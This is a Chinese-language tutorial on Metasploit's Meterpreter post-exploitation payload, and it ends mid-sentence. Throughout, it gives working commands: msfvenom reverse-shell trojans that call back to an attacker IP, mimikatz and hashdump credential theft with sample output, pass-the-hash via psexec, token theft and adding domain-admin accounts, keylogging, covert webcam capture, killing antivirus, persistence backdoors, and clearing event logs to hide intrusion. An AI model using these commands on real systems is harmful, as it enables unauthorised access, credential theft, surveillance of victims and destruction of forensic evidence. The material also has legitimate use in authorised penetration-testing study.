0x01初识Meterpreter
1.1.什么是Meterpreter
Meterpreter是Metasploit框架中的⼀个扩展模块,作为溢出成功以后的攻击载荷使⽤,攻击载荷在溢出攻击成功以后给我们返回⼀个控制通道。使⽤它作为攻击载荷能够获得⽬标系统的⼀个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有⽤的功能,⽐如添加⼀个⽤户、隐藏⼀些东西、打开shell、得到⽤户密码、上传下载远程主机的⽂件、运⾏cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应⽤程序、显⽰远程主机的系统信息、显⽰远程机器的⽹络接⼝和IP地址等信息。另外Meterpreter能够躲避⼊侵检测系统。在远程主机上隐藏⾃⼰,它不改变系统硬盘中的⽂件,因此HIDS[基于主机的⼊侵检测系统]很难对它做出响应。此外它在运⾏的时候系统时间是变化的,所以跟踪它或者终⽌它对于⼀个有经验的⼈也会变得⾮常困难。
最后,Meterpreter还可以简化任务创建多个会话。可以来利⽤这些会话进⾏渗透。在Metasploit Framework中,Meterpreter是⼀种后渗透⼯具,它属于⼀种在运⾏过程中可通过⽹络进⾏功能扩展的动态可扩展型Payload。这种⼯具是基于“内存DLL注⼊”理念实现的,它能够通过创建⼀个新进程并调⽤注⼊的DLL来让⽬标系统运⾏注⼊的DLL⽂件。其中,攻击者与⽬标设备中Meterpreter的通信是通过Stager套接字实现的meterpreter作为后渗透模块有多种类型,并且命令由核⼼命令和扩展库命令组成,极⼤的丰富了攻击⽅式。
需要说明的meterpreter在漏洞利⽤成功后会发送第⼆阶段的代码和meterpreter服务器dll,所以在⽹络不稳定的情况下经常出现没有可执⾏命令,或者会话建⽴执⾏help之后发现缺少命令。 连上⼜在内⽹中使⽤psexec和bind_tcp的时候经常会出现这种情况1.2.Meterpreter技术优势
Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时⽀持x86、x平台,另外,Meterpreter还提供了基于PHP和Java语⾔的实现。Meterpreter的⼯作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问⽬标主机磁盘,所以也没什么⼊侵的痕迹。除上述外,Meterpreter还⽀持Ruby脚本形式的扩展。所以Ruby语⾔还很有必要。
0x02 Meterpreter中常⽤的反弹类型
1.reverse_tcp
这是⼀个基于TCP的反向链接反弹shell, 使⽤起来很稳定(1)Linux:
使⽤下列命令⽣成⼀个Linux下反弹shell⽊马:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o shell
看上图,我们可以看见⽬录下已经成功⽣成⽊马⽂件isshell。然后我们给⽂件加上可执⾏权限。然后我们打开Metasploit,使⽤模块handler,设置payload,注意:这⾥设置的payload要和我们⽣成⽊马所使⽤的payload⼀样。
设置下地址和端⼝,我们就开始监听了
这边运⾏⼀下我们的反弹shell⽊马,可以发现成功反弹回shell了(2)Windows:
msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端⼝] -f exe -o 要⽣成的⽂件名msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f exe -o shell.exe
反向连接shell,使⽤起来很稳定,需要设置LHOST2.reverse_http
基于http⽅式的反向连接,在⽹速慢的情况下不稳定。payload:/windows/meterpreter/reverse_http3.reverse_https
基于https⽅式的反向连接,在⽹速慢的情况下不稳定, https如果反弹没有收到数据,可以将监听端⼝换成443试试payload:/windows/meterpreter/reverse_https
4.bind_tcp
这是⼀个基于TCP的正向连接shell,因为在内⽹跨⽹段时⽆法连接到attack的机器,所以在内⽹中经常会使⽤,不需要设置LHOST。使⽤下列命令⽣成⽊马:
msfvenom -p linux/x86/meterpreter/bind_tcp lport=4444 -f elf -o shell同样道理加权限运⾏,不演⽰了。
这⾥注意,我们设置的IP地址和端⼝就是⽬标机的。因为这是我们主动来连接它。
0x03 相关Payload
Payload中包含有需要在远程系统中运⾏的恶意代码,⽽在Metasploit中Payload是⼀种特殊模块,它们能够以漏洞利⽤模块运⾏,并能够利⽤⽬标系统中的安全漏洞实施攻击。简⽽⾔之,这种漏洞利⽤模块可以访问⽬标系统,⽽其中的代码定义了Payload在⽬标系统中的⾏为。Metasploit中的Payload模块主要有以下三种类型:-Single-Stager-Stage
Single是⼀种完全独⽴的Payload,⽽且使⽤起来就像运⾏calc.exe⼀样简单,例如添加⼀个系统⽤户或删除⼀份⽂件。由于Single Payload是完全独⽴的,因此它们有可能会被类似这样的⾮metasploit处理⼯具所捕捉到。
Stager这种Payload负责建⽴⽬标⽤户与攻击者之间的⽹络连接,并下载额外的组件或应⽤程序。⼀种常见的Stagers Payload就是reverse_tcp,它可以让⽬标系统与攻击者建⽴⼀条tcp连接。另⼀种常见的是bind_tcp,它可以让⽬标系统开启⼀个tcp,⽽攻击者随时可以与⽬标系统进⾏通信。
Stage是Stager Payload下载的⼀种Payload组件,这种Payload可以提供更加⾼级的功能,⽽且没有⼤⼩。在Metasploit中,我们可以通过Payload的名称和使⽤格式来推断它的类型:Single Payload的格式为 Stager/Stage Payload的格式为 当我们在Metasploit中执⾏“show payloads”命令之后,它会给我们显⽰⼀个可使⽤的Payload列表: 在这个列表中,windows/powershell_bind_tcp就是⼀个Single Payload,它不包含Stage Payload。⽽windows/x/meterpreter/reverse_tcp则由⼀个Stager Payload(reverse_tcp)和⼀个Stage Payload(meterpreter)组成。 0x04 Meterpreter的常⽤命令 1.基本命令 help# 查看Meterpreter帮助 background#返回,把meterpreter后台挂起bgkill# 杀死⼀个背景 meterpreter 脚本bglist#提供所有正在运⾏的后台脚本的列表bgrun#作为⼀个后台线程运⾏脚本 channel#显⽰活动频道 sessions -i number # 与会话进⾏交互,number表⽰第n个session,使⽤session -i 连接到指定序号的meterpreter会话已继续利⽤sesssions -k number #与会话进⾏交互close# 关闭通道 exit# 终⽌ meterpreter 会话quit# 终⽌ meterpreter 会话interact id #切换进⼀个信道 run#执⾏⼀个已有的模块,这⾥要说的是输⼊run后按两下tab,会列出所有的已有的脚本,常⽤的有autoroute,hashdump,arp_scanner,multi_meter_inject等 irb# 进⼊ Ruby 脚本模式 read# 从通道读取数据write# 将数据写⼊到⼀个通道 run和bgrun# 前台和后台执⾏以后它选定的 meterpreter 脚本use# 加载 meterpreter 的扩展load/use#加载模块 Resource#执⾏⼀个已有的rc脚本2.⽂件系统命令 cat c:\\boot.ini#查看⽂件内容,⽂件必须存在del c:\\boot.ini #删除指定的⽂件 upload /root/Desktop/netcat.exe c:\\ # 上传⽂件到⽬标机主上,如upload setup.exe C:\\\\windows\\\\system32\\download nimeia.txt /root/Desktop/ # 下载⽂件到本机上如:download C:\\\\boot.ini /root/或者downloadC:\\\\\"ProgramFiles\"\\\\Tencent\\\\QQ\\\\Users\\\\295******125\\\\Msg2.0.db /root/edit c:\\boot.ini # 编辑⽂件getlwd#打印本地⽬录getwd#打印⼯作⽬录lcd#更改本地⽬录 ls#列出在当前⽬录中的⽂件列表lpwd#打印本地⽬录pwd#输出⼯作⽬录cd c:\\\\ #进⼊⽬录⽂件下rm file #删除⽂件 mkdir dier #在受害者系统上的创建⽬录rmdir#受害者系统上删除⽬录dir#列出⽬标主机的⽂件和⽂件夹信息mv#修改⽬标主机上的⽂件名 search -d d:\\\\www -f web.config #search ⽂件,如search -d c:\\\\ -f*.docmeterpreter > search -f autoexec.bat #搜索⽂件meterpreter > search -f sea*.bat c:\\\\xamp\\\\ enumdesktops #⽤户登录数(1)下载⽂件 使⽤命令“download +file path”,将下载⽬标机器的相对应权限的任何路径下的⽂件(2)上传⽂件 “upload”命令为上传⽂件到我们的⽬标机器,在图中我们上传了ll.txt到⽬标机器的c:\\pp\\下。(3)查看⽂件 “cat filename”在当前⽬录下查看⽂件内容,输⼊命令后便会返回给我们所查看⽂件的内容。(4)切换、查询当前路径 “pwd”命令将查询当前在dos命令下的路径,“cd”命令可以改变当前路径,如下图中cd ..为切换到当前路径下的上⼀⽬录。(5)“sysinfo”命令 “sysinfo”命令为显⽰远程主机的系统信息,显⽰计算机、系统信息、结构、语⾔等信息。可以看到远程主机的操作系统是windows XP service pack2,sp2这个系统有很多漏洞。(6)execute命令 “execute”命令为⽬标主机上执⾏⼀个命令,其中“execute -h”显⽰帮助信息。-f为执⾏要运⾏的命令,在⽬标主机上运⾏某个程序,例如我们⽬前注⼊进程到explorer.exe后,运⾏⽤户为超级管理administrator我们运⾏⼀下⽬标主机上的记事本程序execute -f notepad.exe ⽬标主机上⽴马弹出来⼀个记事本程序,如下图: 这样太明显,如果希望隐藏后台执⾏,加参数-Hexecute -H -f notepad.exe 此时⽬标主机桌⾯没反应,但我们在meterpreter会话上使⽤ps命令看到了 再看⼀个,我们运⾏⽬标主机上的cmd.exe程序,并以隐藏的⽅式直接交互到我们的meterpreter会话上命令: execute -H -i -f cmd.exe 这达到的效果就跟使⽤shell命令⼀样了 再来⼀个,在⽬标主机内存中直接执⾏我们攻击主机上的攻击程序,⽐如wce.exe,⼜⽐如⽊马等,这样可以避免攻击程序存储到⽬标主机硬盘上被发现或被查杀。 execute -H -m -d notepad.exe-f wce.exe -a \"-o wce.txt\"-d 在⽬标主机执⾏时显⽰的进程名称(⽤以伪装)-m 直接从内存中执⾏ \"-o wce.txt\"是wce.exe的运⾏参数(7)idletime命令 “idletime”命令为显⽰⽬标机器截⽌到当前⽆操作命令的时间。图中的显⽰意思为⽬标主机有操作是在9分19秒之前。(8)search命令 “search“命令在⽬标主机搜索特定的⽂件。该命令能够通过搜索整个系统或特定的⽂件夹。使⽤“search –h”命令来查看search命令的帮助信息: 下图中,“search –f aa.txt”命令为查看⽬标机中在当前⽬录以及当前⽬录的⼦⽬录中有没有aa.txt这个⽂件,若有则显⽰出其路径。“search –f l*.txt c:\\\\pp”为显⽰出c:\\\\pp下及pp⽂件夹下所有的⼦⽂件下所有以l开头的txt⽂件,若有此类⽂件,则返回其路径和其⼤⼩。(9)edit命令 调⽤vi编辑器,对⽬标主机上的⽂件修改 例如修改⽬标主机上的hosts⽂件,使得⽬标主机访问baidu时去到准备好的钓鱼⽹站(仅限实验⽤途) 在⽬标主机上ping www.baidu.com,出来的⽬标IP就是我们修改的192.168.1.1了 3.⽹络命令 ipconfig/ifconfig#显⽰⽹络接⼝的关键信息,包括 IP 地址portfwd -h ⽤法:portfwd [-h] [add | delete | list | flush] [args] 选项: -L -l portfwd add -l 4444 -p 33 -r 192.168.1.102 # 端⼝转发,本机监听4444,把⽬标机33转到本机4444netstat -an | grep“4444\" #查看指定端⼝开放情况 rdesktop -u Administrator -p bk#123 127.0.0.1:4444 #使⽤rdesktop来连接桌⾯,-u ⽤户名 -p 密码rdesktop 127.1.1.0:4444 #需要输⼊⽤户名和密码远程连接route#查看或修改受害者路由表 route add 192.168.1.0 255.255.255.0 1 #添加动态路由route print #路由表输出 runget_local_subnets #⽬标主机的内⽹IP段情况Arp #看ARP缓冲表Getproxy #获取代理(1)portfwd ⽹络命令则有列出ip信息(ipconfig),展⽰修改路由表(route),还有端⼝转发(portfwd)。 ⽐如portfwd: 在建⽴规则之后就可以连接本地3344端⼝,这样远程的33端⼝就转发出来了。(2)route 使⽤route命令可以借助meterpreter会话进⼀步msf渗透内⽹,我们已经拿下并产⽣meterpreter反弹会话的主机可能出于内⽹之中,外有⼀层NAT,我们⽆法直接向其内⽹中其他主机发起攻击,则可以借助已产⽣的meterpreter会话作为路由跳板,攻击内⽹其它主机。可以先使⽤run get_local_subnets命令查看已拿下的⽬标主机的内⽹IP段情况命令:run get_local_subnets如下图: 其内⽹有192.168.249.0/24⽹段,我们⽆法直接访问 下⾯做⼀条路由,下⼀跳为当前拿下主机的sessionid(⽬前为5),即所有对249⽹段的攻击流量都通过已渗透的这台⽬标主机的meterpreter会话来传递。 命令:route add 192.168.249.0 255.255.255.0 5再使⽤route print查看⼀下路由表,效果如下图: 最后我们就可以通过这条路由,以当前拿下的主机meterpreter作为路由跳板攻击249⽹段中另⼀台有ms08-067漏洞的主机,获得反弹会话成功顺利拿下了另⼀台内⽹主机192.168.249.1,如下图: ⼤多时候我们获取到的meterpreter shell处于内⽹,⽽我们需要代理到⽬标内⽹环境中,扫描其内⽹服务器。这时可以使⽤route功能,添加⼀条通向⽬标服务器内⽹的路由。查看shell⽹络环境: meterpreter>run get_local_subnets添加⼀条通向⽬标服务器内⽹的路由 meterpreter>run autoroute -s 100.0.0.0/8 #(根据⽬标内⽹⽹络⽽定)查看路由设置: meterpreter>run autoroute –p ⼀般来说,在meterpreter中设置路由便可以达到通往其内⽹的⽬的。然⽽有些时候还是会失败,这时我们可以background返回msf>,查看下外⾯的路由情况。route print 如果发现没有路由信息,说明meterpreter shell设置的路由并没有⽣效,我们可以在msf中添加路由。msf>route add 10.0.0.0 255.0.0.0 1 说明:1表⽰session 1,攻击机如果要去访问10.0.0.0/8⽹段的资源,其下⼀跳是session1,⾄于什么是下⼀条这⾥不多说了,反正就是⽬前攻击机可以访问内⽹资源了。 4.键盘监听 Meterpreter还可以在⽬标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:keyscan_start:开启键盘记录功能 keyscan_dump:显⽰捕捉到的键盘记录信息keyscan_stop:停⽌键盘记录功能 uictl enable keyboard/mouse#接管⽬标主机的键盘和⿏标。meterpreter > keyscan_start #针对远程⽬标主机开启键盘记录功能Starting the keystroke sniffer... meterpreter > keyscan_dump #存储⽬标主机上捕获的键盘记录Dumping captured keystrokes...dir meterpreter > keyscan_stop #停⽌针对⽬标主机的键盘记录Stopping the keystroke sniffer... 这⾥需要注意⼀下windows会话窗⼝的概念,windows桌⾯划分为不同的会话(session),以便于与windows交互。会话0代表控制台,1,2代表远程桌⾯。所以要截获键盘输⼊必须在0中进⾏。可以使⽤getdesktop查看或者截张图试试。否则使⽤setdesktop切换。 如果不⾏就切换到explorer.exe进程中,这样也可以监听到远程桌⾯连接进来之后的键盘输⼊数据。 5.系统命令 reboot#重新启动受害⼈的计算机reg#与受害⼈的注册表进⾏交互 rev2self#回到控制⽬标主机的初始⽤户账户下shell#获得控制台权限 shutdown#关闭了受害者的计算机 sysinfo # 查看⽬标机系统信息,如机器名,操作系统等 add_user username password -h ip #在远程⽬标主机上添加⼀个⽤户 add_group_user \"Domain Admins\" username -h ip #将⽤户添加到⽬标主机的域管理员组中shell命令 获取⽬标主机的远程命令⾏shell,如果出错,考虑是⽬标主机了cmd.exe的访问权,可以使⽤migrate注⼊到管理员⽤户进程中再尝试 6.mimikatz meterpreter > load mimikatz #加载mimikatzmeterpreter > msv #获取hash值meterpreter > kerberos #获取明⽂meterpreter >ssp #获取明⽂信息meterpreter > wdigest #获取系统账户信息 meterpreter >mimikatz_command -f a:: #必须要以错误的模块来让正确的模块显⽰meterpreter >mimikatz_command -f hash:: #获取⽬标 hashmeterpreter > mimikatz_command -f samdump::hashes meterpreter > mimikatz_command -f sekurlsa::searchPasswords 7.⽹络嗅探 meterpreter > use sniffer # 加载嗅探模块Loading extension sniffer...success. meterpreter > sniffer_interfaces #列出⽬标主机所有开放的⽹络接⼝ 1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false ) 2 - 'Intel(R) PRO/1000 MT Desktop Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false ) 3 - 'Cisco Systems VPN Adapter' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )meterpreter > sniffer_start 2 #获取正在实施嗅探⽹络接⼝的统计数据[*] Capture started on interface 2 (50000 packet buffer) meterpreter > sniffer_dump 2 /tmp/test2.cap #在⽬标主机上针对特定范围的数据包缓冲区启动嗅探[*] Flushing packet capture buffer for interface 2...[*] Flushed 1176 packets (443692 bytes)[*] Downloaded 100% (443692/443692)...[*] Download completed, converting to PCAP...[*] PCAP file written to /tmp/test2.capmeterpreter > sniffer_stop 2 #停⽌嗅探 Metasploit包含sniffer脚本。Meterpreter的这个模块可以⽤来做数据包捕获,不需要在远程机器上安装任何软件:⾸先执⾏use sniffer命令作⽤为使⽤嗅探脚本。 sniffer_interfaces命令为获取⽹卡的信息,得到我们的ID为1.sniffer_start ID命令开始嗅探。 sniffer_dump ID filepath保存抓取的数据包,本例中/tmp/1.cap是抓取数据包的保存路径。 对抓取的包进⾏解包:use auxiliary/sniffer/psnuffleset pcapfile 1.caprun 然后在shell中中输⼊:wireshark,加载这个/tmp/xpsp1.cap包即可: 8.获取敏感信息 run post/windows/gather/checkvm #是否虚拟机 run post/windows/gather/enum_applications #获取安装软件信息run post/windows/gather/dumplinks #获取最近的⽂件操作run post/windows/gather/enum_ie #获取IE缓存 run post/windows/gather/enum_chrome #获取Chrome缓存run scraper #获取常见信息#保存在~/.msf4/logs/scripts/scraper/⽬录下 (1)post/windows/gather/enum_application模块获取⽬标主机上的软件安装信息命令:run post/windows/gather/enum_applications效果如图: (2) post/windows/gather/enum_ie后渗透模块,读取⽬标主机IE浏览器cookies等缓存信息,嗅探⽬标主机登录过的各类账号密码命令:run post/windows/gather/enum_ie效果如下图: 获取到的⽬标主机上的ie浏览器缓存历史记录和cookies信息等都保存到了攻击主机本地的/root/.msf5/loot/⽬录下,这⾥说IE7以上才有效9.获取Hash 使⽤“hashdump”命令可以从系统提取⽤户名和密码hashes。使⽤hashdump命令可以获取⽬标主机的SAM⽂件,获取⽬标主机的账号密码hash信息,剩下的可以⽤爆破软件算出明⽂密码,微软⼀般⽤LM,NTML和NTLMv2形式的哈希表存储密码。若想运⾏这个命令, 需要有注册表和SAM[Security Account Manager]的系统的权限,如果你是作为⼀个普通的⽤户登陆的话,你需要提升权限,这我们将在后⾯提到。meterpreter > run post/windows/gather/smart_hashdump[*] Running module against TESTING [*] Hashes will be saved to the database if one is connected.[*] Hashes will be saved in loot in JtR password file format to: [*] /home/croxy/.msf4/loot/20150929225044_default_10.0.2.15_windows.hashes_407551.txt[*] Dumping password hashes... [*] Running as SYSTEM extracting hashes from registry[*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 8c2c8d96e92a8ccfc407a1ca48531239...[*] Obtaining the user list and keys...[*] Decrypting user keys... [*] Dumping password hints...[+]Croxy:\"Whoareyou\" [*] Dumping password hashes... [+]Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0c0::: [+]HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:e3f0347f8b369cac49e62a18e34834c0:::[+]test123:1003:aad3b435b51404eeaad3b435b51404ee:0687211d24295829686a18ae83c56d:::脚本和post模块都需要通过“run”命令执⾏,我在测试环境中运⾏hashdump模块后的结果如下: 数据的输出格式为:⽤户名:SID:LM哈希:NTLM哈希:::,所以我们得到了三个⽤户账号,分别为Administrator, Guest和Coen。其中的哈希(aad3b435b51404eeaad3b435b51404ee)跟哈希(31d6cfe0d16ae931b73c59d7e0c0c0)对应的是⼀个空密码。 接下来要处理的就是⽤户Coen的密码(f773c5db7ddebefa4b0dae7ee8c50aea)了。虽然我们可以使⽤类似这样的⼯具来破解密码,但是我们直接这个哈希之后,就直接得到了:。 use post/windows/gather/hashdumpset session 4run 1. 检查已有权限+系统类型 2. 检查是否为域控制器 3. 从注册表读hash,若失败,注⼊LSASS进程;若域控制器,直接注⼊LSASS进程 4. 若win2008+会话管理员权限,尝试使⽤getsystem,若在system不能注⼊LSASS,先migrate到system权限下的进程,继续注⼊LSASS 5. 若win7/Vista+UAC关闭+会话管理员权限,尝试getsystem,读取hash 6. 若win2003/xp/2000,直接getsystem,读取hash 10.通过Hash获取权限 msf > use exploit/windows/smb/psexecmsf exploit(psexec) > show options Module options (exploit/windows/smb/psexec): Name Current Setting Required Description------------------- -------- -----------RHOST yes The target addressRPORT 445 yes Set the SMB service port SHAREADMIN$ yes The share to connect to, can be an admi n share (ADMIN$,C$,...) or a normal read/write folder share SMBDomainWORKGROUP no The Windows domain to use for authenticationSMBPass no The password for the specified usernameSMBUser no The username to authenticate as Exploit target: Id Name-- ----0 Automatic msf exploit(psexec) > set RHOST 192.168.0.2RHOST => 192.168.0.2 msf exploit(psexec) > set SMBUser isoskySMBUser => isosky msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B537 SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B537msf exploit(psexec) > exploit [*] Started reverse handler on 192.168.0.3:4444[*] Connecting to the server... [*] Authenticating to 192.168.0.2:445|WORKGROUP as user 'isosky'...[*] Uploading payload...[*] Created \\UGdecsam.exe... [*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.2[\\svcctl] ...[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.2[\\svcctl] ...[*] Obtaining a service manager handle... [*] Creating a new service (MZsCnzjn - \"MrZdoQwIlbBIYZQJyumxYX\")...[*] Closing service handle...[*] Opening service...[*] Starting the service...[*] Removing the service...[*] Closing service handle...[*] Deleting \\UGdecsam.exe... [*] Sending stage (749056 bytes) to 192.168.0.2 [*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.2:1877) at 2011-07-19 03:57:17 +080011.捕捉屏幕 要想查看到远程机器当前的桌⾯信息,可以使⽤“screenshot”命令,可以看到,此命令不仅把对⽅的桌⾯给显⽰了出来⽽且把桌⾯作为图⽚形式保存在了本地。我们通过桌⾯的信息可以知道⼀些对我们⼊侵有帮助的信息,⽐如对⽅的杀毒软件的类型等等。我们可以使⽤“screenshot”命令来进⾏屏幕截图并存储在我们的系统之中。截取的效果如下所⽰: 12.得到远程桌⾯ 使⽤命令“run vnc”将会弹出窗⼝,在此窗⼝中就是对⽅现在打开的桌⾯情况,在这⾥,可以对远程机器进⾏操控。 13.权限提升 这是meterpreter中实施漏洞利⽤系统特权要求的⼀个重要的模块。为了这个⽬的,我们必须⽤PRIV extention.,在旧版本的Metasploit中Privextension并不⾃动装载,使⽤“use priv”⼿动加载的。然⽽在后来的msf版本中并不需要担⼼这⼀点。 使⽤“getuid”获得当前的权限,migrate+PID迁移进程(当我们攻击⼀个系统是,常常是对像是IE之类的服务漏洞进⾏利⽤的,可是不免有对⽅关闭IE的情况,那么我们的meterpreter会话将会关闭,从⽽导致与⽬标系统失去连接,所以我们可以使⽤迁移进程后的攻击模块,将sessions迁移到内存空间中的其他稳定的、不会被关闭的服务进程中,以维持稳定的系统控制),从列表中看到PID为500的是administrator权限,所以是迁移 到administrator的权限,“getsystem –h”升级为权限SYSTEM账户。这个模块可以⽤来提升我们的特权,有四个技巧。Meterpreter⾃动检查四个⽅法并且尝试其最好⽅法。然后看到我们权限⼜变为了system权限了。ps#列出正在运⾏的进程kill pid # 杀死进程 migrate pid # 将Meterpreter会话移植到进程数为pid的进程中,需要注意的是如果存在杀软的话可能会阻⽌进程注⼊,所以把会话进程注⼊到svchost.exe是⼀个好⽅法getprivs#尽可能获取尽可能多的特权getuid #获得当前的权限 getsystem #通过各种攻击向量将⼀个管理帐户(通常为本地Administrator账户)提升为本地SYSTEM帐户getsystem –h #升级权限SYSTEM账户使⽤MS14-058之类的Exp进⾏提权:meterpreter > background[*] Backgrounding session 3.. msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menumsf exploit(ms14_058_track_popup_menu) > set SESSION 3use priv#加载特权提升扩展模块,来扩展Meterpreter库 列出远程机器的进程和进程ID⽅便迁移我们的进程,进⽽改变我们的权限。使⽤“ps”命令。 在得到的进程列表后,可以实现迁移进程,⽤getpid查看当前进程号,然后根据上图既可以知道当前的权限,若再⽤migrate+pid,就会迁移到另⼀个进程中,然后我们的权限就改变了。14.盗取令牌 meterpreter >use incognito 加载incoginto功能(⽤来盗窃⽬标主机的令牌或是假冒⽤户)meterpreter >list_tokens -u 列出⽬标主机⽤户的可⽤令牌meterpreter >list_tokens -g 列出⽬标主机⽤户组的可⽤令牌 meterpreter >impersonate_token DOMAIN_NAME\\\\USERNAME 假冒⽬标主机上的可⽤令牌,如meterpreter > impersonate_tokenQLWEB\\\\Administrato meterpreter >execute -f cmd.exe -i -t #调⽤域权限shellmeterpreter > getuid meterpreter>add_user 0xfa funny –h192.168.3.98 #在域控主机上添加账户 meterpreter>reg command # 在⽬标主机注册表中进⾏交互,创建,删除,查询等操作meterpreter>setdesktop number #切换到另⼀个⽤户界⾯(该功能基于哪些⽤户已登录)meterpreter>ps #查看⽬标机器进程,找出域控账户运⾏的进程ID meterpreter>steal_token pid #盗窃给定进⾏的可⽤令牌并进⾏令牌假冒meterpreter>drop_token pid #停⽌假冒当前令牌 另⼀个提权的⽅法是扮演⼀个帐户从⼀个特定进程偷取令牌。为此,我们需要“incognito”扩展,使⽤“steal_token+PID”这个例⼦中我们使⽤的是steal_token 0,其中由前⾯执⾏ps后得到的信息可知,PID为0的权限为administrator,所以我们在执⾏命令后虽然提⽰错误信息,但是它仍会被成功在后台执⾏,所以在运⾏steal_token后核实UID,我们的权限就变为了administrator了。 load incognitolist_tokens -u impersonate_token xxxxx\\\\xxxxxxxexecute -f cmd.exe -i -t 15.清除事件⽇志 完成攻击操作之后,千万别忘了“打扫战场”。我们的所有操作都会被记录在⽬标系统的⽇志⽂件之中,因此我们需要在完成攻击之后使⽤命令“clearev”命令来清除事件⽇志 执⾏“clearev”命令,将清除事件⽇志。这个命令没有任何选项或参数。 执⾏“clearev”命令后打开⽬标机器的事件查看器⾥⾯的应⽤程序、安全性、系统都是是空的: 16.⽹络摄像头 record_mic #⾳频录制webcam_chat #查看摄像头接⼝webcam_list #查看摄像头列表webcam_stream #摄像头视频获取webcam_list meterpreter > webcam_list1: Creative WebCam NX Pro2: Creative WebCam NX Pro (VFW)meterpreter >webcam_snap meterpreter > webcam_snap -hUsage: webcam_snap [options] OPTIONS: -h Help Banner -i >opt> The index of the webcam to use (Default: 1) -p >opt> The JPEG image path (Default: 'gnFjTnzi.jpeg') -q >opt> The JPEG image quality (Default: '50') -v >opt> Automatically view the JPEG image (Default: 'true')meterpreter >OPTIONS: -h: Displays the help information for the command -i opt: If more then 1 web cam is connected, use this option to select the device to capture the image from -p opt: Change path and filename of the image to be saved -q opt: The imagine quality, 50 being the default/medium setting, 100 being best quality-v opt: By default the value is true, which opens the image after captureExample usage: meterpreter > webcam_snap -i 1 -v false[*] Starting...[+] Got frame[*] Stopped Webcam shot saved to: /root/Offsec/YxdhwpeQ.jpegmeterpreter > “webcam_snap”命令为抓取⽬标主机当前的摄像头拍摄到的画⾯,并将它以图⽚形式保存到本地,“webcam_snap –h”命令为查看参数的使⽤⽅法。由于我们的实验中⽬标机器没有摄像头,所以我们运⾏“webcam_snap -i 1 -v false”命令之后返回以下信息。 17.⼀些脚本命令 为获取远程机器上的信息,在meterpreter中还有很多脚本可⽤,做更⼤的渗透测试。使⽤“run scriptname”来使⽤meterpreter模块中的脚本命令 (1)调⽤post/windows/gather/checkvm后渗透模块,确定⽬标主机是否是⼀台虚拟机命令: run post/windows/gather/checkvm效果如下图: 同样有许多类似这样的脚本,下⾯来介绍⼏个重要的脚本: (2) packetrecorder——“run packetrecorder”查看⽬标系统的所有⽹络流量,并且进⾏数据包记录,-i 1指定记录数据包的⽹卡。从下图中运⾏之后返回的信息中可以到我们需要查看的⽬标系统的⽹络流量信息将被存储的路径,可以到下⾯路径中直接查看。 (3)get_local_subnets——“run get_local_subnets”得到本地⼦⽹⽹段 (4)getcountermeasure—run getcountermeasure显⽰HIPS和AV进程的列表,显⽰远程机器的防⽕墙规则,列出DEP和UAC策略 (5) scraper——“run scraper”从⽬标主机获得所有⽹络共享等信息 并且获得的这些所有这些信息都存储在/root/.msf4/logs/scripts/scraper directory⽬录下。使⽤ls命令查看存储的这些⽂件。 (6) killav——“run killav”命令终⽌Av进程,可以很快的清除我们的路径和有效渗透测试的记录 但是这个脚本,不能绝对得逃避杀毒软件,但是如果成功了对被攻击者会是⼀个严重的打击,对他造成很⼤的困扰 使⽤了 “run killav”命令后xp会终⽌Av进程然后弹出窗⼝: (7)hashdump——“run hashdump”获得密码哈希值 运⾏这个脚本和在meterpreter下直接运⾏hashdump结果差不多。(8)keylogrecorder——“run keylogrecorder”命令为记录键盘信息 运⾏这个脚本和在meterpreter下直接运⾏keyscan结果差不多,这⾥将对键盘记录的⽂件进⾏保存,路径如下。 (9) persistence——“run persistence”这个脚本可以被⽤作持续欺骗主机 远程主机重启后将在特定的时间间隔保持meterpreter会话run persistence -X -i 5 -p 4444 -r 172.17.11.18 #植⼊后门-X 在⽬标主机上开机⾃启动-i 不断尝试反向连接的时间间隔 persistence后渗透模块向⽬标主机植⼊后门程序效果如下图: 执⾏过程: 创建攻击载荷->攻击载荷植⼊到⽬标主机c:\\windows\emp⽬录下,是⼀个.vbs的脚本->写⽬标主机注册表键值实现开机⾃动运⾏。下图,在攻击主机上监听4444端⼝,等待反弹会话成功 下图,看⽬标主机注册表Run键值果然被写⼊了⼀个pDTizIlNK的键值,执⾏后门vbs脚本 (10)enum_drives 这个后渗透攻击模块是获取⽬标主机磁盘分区信息,我们就以这个例讲解后渗透攻击模块使⽤⽅法。后渗透模块post/windows/gather/forensics/enum_drives调⽤ 在获取meterpreter会话session后,调⽤post/windows/gather/forensics/enum_drives,可获取⽬标主机存储器信息:命令,在msfconsole下: use post/windows/gather/forensics/enum_drivesset SESSION 1exploit效果如图: 或直接在meterpreter会话中以命令run post/windows/gather/forensics/enum_drives调⽤ 我们⾸先将meterpreter会话放⼊后台,然后搜索我们的模块。 然后使⽤use命令来使⽤模块,然后设置⼀下会话id,接着执⾏,可以发现成功获取到⽬标主机磁盘分区的信息。18.SOCKS代理 Metasploit可以作为⼀个SOCKS代理服务器,具体步骤为⾸先通过Metasploit的某些模块建⽴会话,就像本章前⾯介绍的,建⽴完会话之后,执⾏“route add 